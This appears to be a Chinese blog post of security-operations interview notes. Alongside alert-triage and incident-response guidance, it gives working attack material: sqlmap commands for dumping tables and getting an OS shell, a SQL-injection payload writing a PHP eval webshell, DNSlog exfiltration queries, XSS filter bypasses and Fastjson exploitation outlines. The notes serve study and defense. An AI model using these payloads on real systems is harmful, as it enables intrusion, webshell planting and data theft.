Sign in Subscribe

客户面

夏风

• 23 min read
客户面

面试会遇到的问题

[TOC]

遇到sql注入告警怎么分析

流程：

确认与甄别（是不是真的？）——》调查与评估（到底有多严重）——》响应与处置（马上需要做什么？）——》复盘与改进（如何避免下次再发生）【关键】

如果我收到一条SQL注入告警，我不会立即把它当成一次确凿的攻击，而是把它作为一个线索，启动一个标准的分析流程：

“当我在SIEM或WAF上看到一条SQL注入告警时，我会在1-3分钟内做一个初步研判，核心是判断这是‘噪音’还是‘真正的威胁’。我的方法主要是四看：

  1. 看频率和范围：我会立刻拉取这个源IP在过去一段时间内的所有请求日志。如果它在短时间内对全站无数个端点进行了海量、多样的攻击测试，我会优先将其判定为自动化扫描，风险等级调低。但如果它的请求非常集中、频率很低，这时就需要提高警惕。
  2. 看Payload的复杂程度：首先需要检查Payload本身。如果它使用的是那种教科书式的、未经混淆的经典语句，这像是自动化工具干的。但如果Payload充满了各种编码、注释符、使用了非常冷门的函数或针对特定数据库的语法，这强烈暗示背后有一个真人在手工操作，风险等级最高。
  3. 看攻击链条：我会检查这个IP的历史请求，看它们之间是否有逻辑关联。如果请求是散乱无章的，那是扫描器。但如果我能清晰地看到他从侦察、报错、验证到利用的完整步骤，这说明我们正在经历一次真正的、针对性的渗透测试，需要立即启动最高级别的应急响应。
  4. 看目标价值：最后，我会结合被攻击目标的重要性来做最终判断。一个针对性攻击的手工Payload打在我们的核心业务API上，是最高紧急事件；而一个自动化扫描打在一个测试页面上，则优先級较低。

基于这个初步判断，我会采取完全不同的响应路径：

  • 对于自动化扫描，我会按流程将其IP封禁，并将其Payload收录到我们的威胁情报库中，用于丰富和优化未来的检测规则。
  • 对于可疑的手动攻击，我会立即上报并启动应急响应，同时进行深度溯源，并建议立即对该应用进行漏洞验证和加固。

这种分析方式不仅能让我快速聚焦于真正的威胁，节省团队精力，更能通过每次告警积累知识，反过来推动我们检测规则和响应流程的优化成熟度。”

1.是不是真的？

首先需要查看告警详情（源IP，目的IP，URL，payload，时间戳）

初步可以判断这是自动化扫描工具发出的攻击还是手工高度定制的。（自动化的特征，产生告警的频次和时间）自动化的攻击风险可能较低，后者需要立即高度重视。

误报排查：根据IP可以检查是否是公司内部扫描器，安全测试，或是合法业务的正常请求。

自动化特征：1.大量重复请求 2. Payload探测规律性，系统性测试不同数据库类型的语法。3.发现漏洞或检测到WAF就跳走，不会更深层次的利用。因为大部分工具只是发现漏洞而不是利用漏洞。4.观察来自IP的“噪声”，是否来自云服务器厂商（AWS，Azure）、代理节点。

手动特征：低频、慢、精心构造多种混淆（十六进制、多重URL等），如果判断出目标数据库类型，就会针对性进一步执行攻击，而不是浅尝辄止。IP也会更像家庭宽带或者真实被入侵主机发起，可能像正常用户流量。

2.到底多严重？

这个IP如果是外部IP，要看是境外还是境内，是代理还是真实IP。IP历史可疑行为。被攻击的是哪个Web应用，是核心数据库还是测试系统。查看影响面，初步判断可能造成的数据泄露范围和业务影响。

3.马上要做什么？

确认攻击成功，会立即协调网络团队临时封禁src ip。导出完整的流量日志，payload作为证据便于复盘和溯源。

4.如何避免下次发生？

漏洞存在就推动修复。针对这次高级，考虑WAF是否足够灵敏，是否需要调整策略减少误报或者增强防护？以上是我需要主动提出的优化意见。

应急响应的SOP是否有可以优化的环节（例如对内部安全部门测试可以增加直接的内部IM推送，不生成工单，让员工确认异常自行上报）

针对这次Payload的特征，全网流量中是否有历史类似攻击？做到发现一个，清除一片。

遇到webshell告警怎么分析

流程：先控制——》再调查——》消除影响——》打扫战场——复盘加固

Webshell的告警通常非常危险，需要先控制，相应级别更高，动作要更迅速。

1.先控制

立即确认协调服务器团队或者通过EDR隔离这台服务器，防止被作为跳板利用。对内存和进程进行快照，安全的dump样本，分析webshell和连接行为。

2.怎么进来的，做了什么？

调查webshell如何上传的？哪个漏洞（文件上传，命令执行？）、弱口令等。

分析shell执行了哪些命令？上传了哪些工具。是否横向移动到其他机器。目标是画出他的整个攻击路径图。

有没有窃取数据，是否改了系统配置，和权限维持。评估数据泄露和系统破坏程度。

3.清除与恢复

掌握攻击行为后，就可协调团队彻底清除webshell文件，恶意进程和相关攻击工具。修复漏洞，从备份中恢复配置文件。

4.复盘和加固

如果存在通信成功特征，可以在IPS或NDR中增加相应的规则，检测内网中是否存在其他失陷主机。

你觉得运营怎么做，怎么做能力提升

“我认为安全运营不能只是一个‘救火队’，而应该是一个不断自我优化的‘安全引擎’。我理解运营和能力提升可以分为三个层次：

第一层：做好日常运营（“打好基础”）

流程标准化（SOP）：重复的工作标准化，减少失误，提升效率，新人也能快速入手。

工具平台化（SOAR）：把重复的，机械化的操作自动化。如封IP、查情报。将人的精力解放出来，投入到更复杂的分析决策中。

数据指标量化（MTTD，MTTR）：衡量团队的效率，发现改进点。

工具标准化时的隐私安全（最小权限，纵深防御原则。架构设计、技术控制、流程管理三结合）：

1.做到最小权限原则，封禁IP的脚本绝不能有读取数据库的权限。严格限制非必要通信，仅开放特定接口。

2.非接触式设计：设计流程时，尽量做到让工具传输指令，而非数据本身。例如：脚本不该直接把包含完整的用户数据库日志拖到本地进分析，而是通过发送指令“请分析xxx活动趋势并返回结果”，发送回聚合后，脱敏的结果，而非原始日志。如“该IP有50次尝试失败的登陆记录”。

3.加密传输并且防止硬编码

4.日志强制脱敏

5.流程管理确保代码标准审查，启动完整审计日志记录工具工作。

6.安全意识培训

第二层：从被动防守到主动能力提升（“从自动化到智能化”）

1.狩猎威胁，基于最新TTPs（在哪里可以找到）主动在日志和流量中主动寻找最新的失陷指标（IOCs）

2.每个安全事件，尤其是成功的攻击进行复盘。不仅要解决表面问题，更要做到推动SDL安全开发生命周期的落地。

3.跨部门协同演练：红蓝对抗，钓鱼事件模拟。调动研发、运维、业务部门一起完成，既能检验真实防护检测能力，也能提升公司的安全意识和协同能力。

第三层：价值转化与展现（“说老板爱听的话”）

做到会翻译风险：把技术性漏洞和事件，翻译成老板和业务部门能理解的商业风险和潜在损失（比如这个漏洞可能导致多少用户数据泄露，会面临多少罚款和声誉损失）

证明价值：数据展示安全运营工作的投资回报率（ROI）。例如：今年拦截了多少攻击，避免了可能的数据泄露，减少了多少潜在的财物损失。

规划未来：主动基于当前面对的威胁和业务发展时期，制定下一步安全运营建设规划，例如需要引入什么设备来增强我们在内网的检测能力，争取预算和资源。

总体而言，我的运营理念是：通过标准化和自动化稳住基本盘，通过主动狩猎和深度复盘**（案例？）**来提升我们的能力上限，最后通过有效的沟通和价值体现，为安全工作争取持续的支持。如此良性循环，驱动安全整体成熟度的不断提升。

最新的TTPs：

免费&社区驱动：MITRE ATT&CK，所有最新技术都会被映射到ATT &CK矩阵中，这是分析事件的核心框架，可以通过这个框架去查看缓解和检测建议。

Github、相关行业论坛、付费商业情报feeds多元化信息输入渠道。

研究TTPs最终目的是为了转化，而不仅仅是了解。如果一种新的后门利用了一个特殊的系统进程，我会去评估我们的SIEM或EDR是否能检测到这种行为，如果不能，我会编写或优化相应的检测规则（比如Sigma规则） 并推送到我们的检测平台。相应的IR和演练预案也可以做好。

写一份EDR设备的slide去给老板汇报，你想怎么写

核心原则：结论先行，关注价值，通俗易懂，聚焦业务，降低技术细节。

Slide结构建议：

关于引入XXX提升XXX能力的建议

Page1：我们面临的核心问题和风险

一张图：近年数据

内容1：传统产品防不住

内容2：传统感知和响应不知道，攻击者权限维持几个月才发现。

风险：举例

Page2：产品是什么

比喻的方法形象说明，例如EDR是24小时安全侦探，传统杀软是门口保安（识别令牌，看特征就拦下）

Page3：这个产品给我们带来的价值是什么

分点阐述：1.降低风险 2.防止数据泄露 3.提升分析和响应效率 4.满足合规要求（GDPR对终端安全监控要求）

Page4：实施计划与资源需求

标题：实施的分步阶段和初期预估投入。

内容1：试点，在哪个办公区和设备，需要哪些部门配合

内容2：全面推广，采购需要费用

内容3：持续运营流程，使用培训，明确责任主体

Page5：总结，呼吁行动

升华主题，恳请批复。

之前做过哪些应急响应的事件

APT响应。

首先是汇报有异常出网行为。通过态势感知排查到，攻击者通过Thinkphp 5.x命令执行成功入侵，并且执行了多个命令。

攻击者写入了php一句话木马，获得shell

通过base反弹到攻击者服务器，获取交互式控制权。

远程下载了服务器中恶意脚本并执行，虽然该样本已经被运维人员删除，但是根据该样本生成文件可以确定为开源内网扫描工具fscan。

攻击者获取扫描结果后，发现多个永恒之蓝等高危漏洞的存在。

分析历史执行命令发现存在ping海莲花资产的行为。

删除webshell文件。禁用所有服务器非必要出网外联，运维通过白名单进行管控。修复所有扫描到的高危漏洞。封禁攻击者IP。及时更新ThinkPHP版本。

1. SQLMap 常用命令（记住“三板斧”）

把它想象成“SQL注入自动化攻击三步骤”：

  1. 探测（看看有没有洞）：

    sqlmap -u "http://xxx.com/news?id=1"

    • -u：指定目标URL。这是最基础的命令，先看看这里有没有注入点。

  2. 查库（看看洞里有什么）：

    sqlmap -u "http://xxx.com/news?id=1" --dbs

    • --dbs：列出所有数据库名。

      sqlmap -u "http://xxx.com/news?id=1" -D database_name --tables

    • -D：指定某个数据库。

    • --tables：列出这个数据库里所有表名。

  3. 拖库（把东西拿出来）：

    sqlmap -u "http://xxx.com/news?id=1" -D database_name -T users --dump

    • -T：指定某张表（比如users表）。
    • --dump：把这张表里的数据全部“拖”出来。

高级技巧（记住这几个开关就行）：

  • --level 3 --risk 3：更深度、更冒险地检测（检测更多参数和用更多Payload）。
  • --os-shell：终极目标，直接获取一个操作系统 shell，像操作自己电脑一样操作服务器。
  • --batch：全程自动选择默认选项，不需要你手动确认。

2. Fastjson 漏洞（“数据线”变“充电线”）

  • 背景：Fastjson 是 Java 的一个库，负责把字符串转换成 Java 对象（反序列化）。就像把一封信（字符串）翻译成指令（对象）。
  • 原理：漏洞在于，Fastjson 在“翻译”时，如果信里包含“打开这个网页链接”（@type属性指定一个恶意类）这样的指令，它真的会去执行！没有对@type字段进行完整的安全性验证，导致远程代码执行。特定版本可能存在对未开启autotype功能的绕过。
  • 特征：Payload 里通常包含 @type这个关键字，后面跟着一些不常见的类名（如 com.sun.rowset.JdbcRowSetImpl）。
  • 利用：利用这个特性，让服务器去访问一个黑客控制的 LDAP/RMI 服务，从而下载并执行恶意代码。

2.1 Fastjson利用

一句话概括：Fastjson在反序列化（将JSON字符串解析成Java对象）时，会自动调用对象的构造函数、getter/setter方法等。攻击者可以构造特殊的JSON，让Fastjson去触发访问恶意LDAP/RMI服务的逻辑，从而加载并执行远程恶意代码。

“Fastjson的反序列化漏洞利用，本质上是利用其自动调用setter/getter/构造方法的特性，来触发JNDI注入或直接加载恶意字节码。根据网络环境和Fastjson版本的不同，主要有三类利用方式：

  1. 最经典的是JNDI注入利用，比如用 JdbcRowSetImpl这些类，把 dataSourceName指向攻击者的恶意RMI/LDAP服务。这种方式需要目标能出网，并且受JDK版本限制。这也是Fastjson早期漏洞最主要的利用方式。
  2. 当目标不能出网时，攻击者会转向不出网利用。比如通过 TemplatesImpl类，把恶意Java代码编译成字节码后，直接Base64编码塞到JSON的 _bytecodes字段里，让Fastjson直接在本地加载执行。这 bypass 了网络限制。
  3. 此外还有一些边缘方法，比如利用JDK以前的 BCELClassLoader来加载恶意类，但随着JDK更新现在比较难利用了。

在实际的应急响应和威胁狩猎中，我不仅会关注这些利用方式，更会思考如何防护和检测：

  • 检测方面：我会在日志中重点搜索 @type这个关键字，尤其是后面跟了一些不常见的、或者已知的危险类名（如 JdbcRowSetImpl, TemplatesImpl）。这些是Fastjson攻击最明显的特征。
  • 防护方面：根本解是升级Fastjson到最新版本，因为官方不断通过增加黑名单和引入safeMode（安全模式）来封堵利用链。如果业务不能升级，我会建议配置全局的信任域，或者直接开启safeMode，彻底关闭autotype功能，从根源上杜绝这类攻击。
  • 推动改进：我会将这类漏洞的分析写成报告，推动开发团队在代码开发阶段就避免使用不安全的反序列化操作，并引入更安全的标准（如Jackson），从SDLC（安全开发生命周期）的源头降低风险。”

3. MySQL 写 WebShell 的条件（“写文件”的四个前提）

想通过MySQL在网站服务器上写一个WebShell（如shell.php），必须同时满足以下四个条件，缺一不可：

  1. 知道网站的绝对路径（文件要存在哪？）。
  2. 有写文件的权限（FILE_PRIV权限，通常是 root 用户或有高权限的用户）。
  3. MySQL配置允许写文件（secure_file_priv这个配置项不能为 NULL，通常需要为空或指向一个目录）。
  4. 对网站目录有写权限（MySQL进程操作系统用户，要有权在该路径下创建文件）。

4. MySQL 写 WebShell 的几种方式

主要就两种，核心都是用 SELECT ... INTO OUTFILE语句：

  1. 直接union联合查询写文件：

    ?id=1' union select 1,'<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'--+

    • 这是最经典的方式，但需要union注入可用。

  2. 通过日志文件改写（general_log）：

    • 先开启日志记录：set global general_log = on;
    • 设置日志保存路径为Web目录：set global general_log_file = '/var/www/html/shell.php';
    • 然后执行一个“语句”当作木马内容：select '<?php @eval($_POST[cmd]);?>';
    • 这样，MySQL就会把你执行的这个select语句（即木马代码）写入到指定的日志文件（即shell.php）里。
    • 好处：有时可以绕过一些限制。

  3. 分隔符注入

5. SQLMap 原理 / 指定注入类型

  • 原理：像一个“自动试探器”。它准备了成百上千种奇怪的“Payload”（试探语句），比如 id=1 AND 1=1、id=1 AND SLEEP(5)等，发送给网站。然后根据网站返回的响应时间、内容、错误信息等差异，来判断这里是否存在注入漏洞，以及是什么类型的注入。
  • 指定类型：如果你已经知道是某种类型，可以用 --technique参数指定，让它更高效：
    • B: Boolean-based blind（基于布尔的盲注）
    • E: Error-based（基于报错的注入）
    • U: Union query（联合查询注入）
    • S: Stacked queries（堆叠注入）
    • T: Time-based blind（基于时间的盲注）

6. MySQL下 Limit 后的注入思路

LIMIT子句后面通常不能直接跟 union查询，很难利用。主要有两种思路：

  1. 把它变成“子查询”：

    SELECT * FROM products LIMIT (SELECT ... UNION SELECT ...);

    • 把整个联合查询语句用括号包起来，塞到LIMIT后面。但这种方式对MySQL版本有要求。

  2. 用PROCEDURE ANALYSE()（已过时但可了解）：

    SELECT * FROM products LIMIT 1,1 PROCEDURE ANALYSE(1,1);

    • 这是一个用于分析表的合法函数，但早期版本可以结合EXTRACTVALUE等报错函数进行报错注入。现在高版本基本已修复。

核心思路：LIMIT后注入比较困难，优先找其他注入点。

7. MySQL 如何读写二进制文件

  • base64编码读取，然后解码

8. DNSlog 利用（“往外打电话”）

利用原理：让数据库引擎主动发起一个DNS查询请求，把查询结果（如数据库名）放在域名里。黑客只要看他控制的DNS服务器的日志，就能收到“电话”（请求），看到“来电显示”（数据）。

  • MySQL：利用 load_file()函数

    SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.你的dnslog域名\\abc'));

    • 它会尝试去访问 \数据库名.你的dnslog域名\abc这个“文件”，从而触发DNS查询。

  • MSSQL：利用 master..xp_dirtree等存储过程

    EXEC master..xp_dirtree '\\数据库名.你的dnslog域名\abc';

    • 它会尝试列出那个不存在的网络路径，从而触发DNS查询。

9. 传统反射型XSS黑名单绕过

如果<script>被过滤了，可以这样绕：

  1. 换标签：用 <img src=x onerror=alert(1)>、<svg onload=alert(1)>等。
  2. 大小写/嵌套绕过：<ScRipt>、<script>（后者可能绕过简单的字符串匹配）。
  3. 加干扰符：<script%0a>alert(1)</script>（换行符）、<script/ >alert(1)</script>（斜杠）。
  4. 编码绕过：对部分字符进行HTML编码或JS编码，如 <script>。

核心思想：想尽一切办法，让浏览器最终能把它解析成可执行的JS代码。

10. SSRF 原理和盲打

  • 原理：“借刀杀人”。攻击者诱使服务器端应用（A）代替他去访问一个内部或外部的地址（B）。服务器A权限很高，能看到很多攻击者本看不到的内网资源。
  • 盲打（Blind SSRF）：你发起了请求，但服务器不把响应内容返回给你。你无法直接看到B返回了什么，只能通过其他方式（如DNSlog、时间延迟、或向外网端口发送请求看是否开放）来推断攻击是否成功。

给安全事件定级

事件优先级 = 风险严重程度 × 紧迫性

“在我的工作中，我给安全事件定优先级不会凭感觉，而是遵循一个可重复的风险评估框架，核心是评估事件的严重程度（Impact） 和紧迫性（Urgency）。

第一步：快速分类与初步筛选

收到事件告警后，我首先会快速判断它是误报还是真阳性。如果是真阳性，我会立即收集关键信息，这就像医生问诊：

  • 攻击目标（Target）：是什么系统？是核心业务吗？
  • 攻击行为（Action）：攻击者在做什么？是扫描、爆破，还是已经在执行命令？
  • 攻击结果（Result）：成功了吗？数据泄露了吗？系统受影响了吗？

第二步：评估严重程度（Impact）

我会从四个方面看这个事件如果成功会造成多大影响：

  1. 数据影响：是否涉及核心用户数据、财务数据？估算可能泄露的数据量和价值。
  2. 业务影响：是否会导致业务宕机、无法交易？估算停机时间和经济损失。
  3. 资产重要性：被攻击的是官网、数据库，还是测试服务器？
  4. 声誉与合规影响：事件公开是否会导致客户信任丧失或面临监管罚款？

第三步：评估紧迫性（Urgency）

然后，我会判断我们需要多快响应：

  1. 是否活跃：攻击是正在进行中，还是已经结束？
  2. 是否失陷：是否有确凿证据（如Webshell、C2连接）表明系统已被控制？
  3. 是否扩散：攻击是否在内部网络横向移动？
  4. 漏洞类型：是否利用了已知的、易利用的高危漏洞？

第四步：定级与行动

综合以上两点，我会将事件归入四个优先级：

  • P0（紧急）：立即响应。例如：核心业务正在被勒索软件加密、攻击者正在拖库。需要立刻召集全员，启动最高级应急响应。
  • P1（高）：快速处理。例如：发现可利用的高危漏洞、有证据表明内网已有主机失陷。需要在数小时内制定处理方案。
  • P2（中）：按计划处理。例如：成功的暴力破解攻击、自动化扫描。需要在24小时内处理。
  • P3（低）：日常处理。例如：误报、低危漏洞。纳入日常工作流程修复。

第五步：动态调整与复盘

优先级不是一成不变的。随着调查深入，如果发现事件影响比想象中更大，我会立即提升其优先级。事后，我们会复盘整个事件的定级过程，看是否有优化空间，并不断调整我们的定级标准（SOP），让整个流程更精准、更高效。

总结来说，我的目标是通过一套清晰的规则，确保团队能优先处理那些对业务造成最大、最紧急威胁的事件，从而最有效地利用有限的资源，最大化地降低公司面临的安全风险。”

Sign up for more like this.

Enter your email
Subscribe